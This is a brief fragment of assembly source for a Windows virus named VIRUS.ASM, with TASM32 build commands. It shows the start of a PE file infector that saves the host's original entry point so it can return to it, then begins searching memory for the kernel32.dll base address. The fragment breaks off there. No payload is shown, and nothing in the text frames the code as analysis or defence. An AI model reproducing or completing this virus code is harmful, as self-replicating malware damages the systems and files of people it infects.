;compile with:
;TASM32 /M /ML VIRUS.ASM
;TLINK32 VIRUS.OBJ,,,IMPORT32.LIB
.586
.model flat
locals
ofs equ offset
by equ byte ptr
wo equ word ptr
dwo equ dword ptr
include pe.inc
include mz.inc
include win32api.inc
include useful.inc
.data
virus_main:
;setup stack to return to host later
push ofs __ret
original_entrypoint equ $-4
;retrieve kernel32.dll base
mov eax,[esp.Arg1]
@@search:
xor ax,ax
...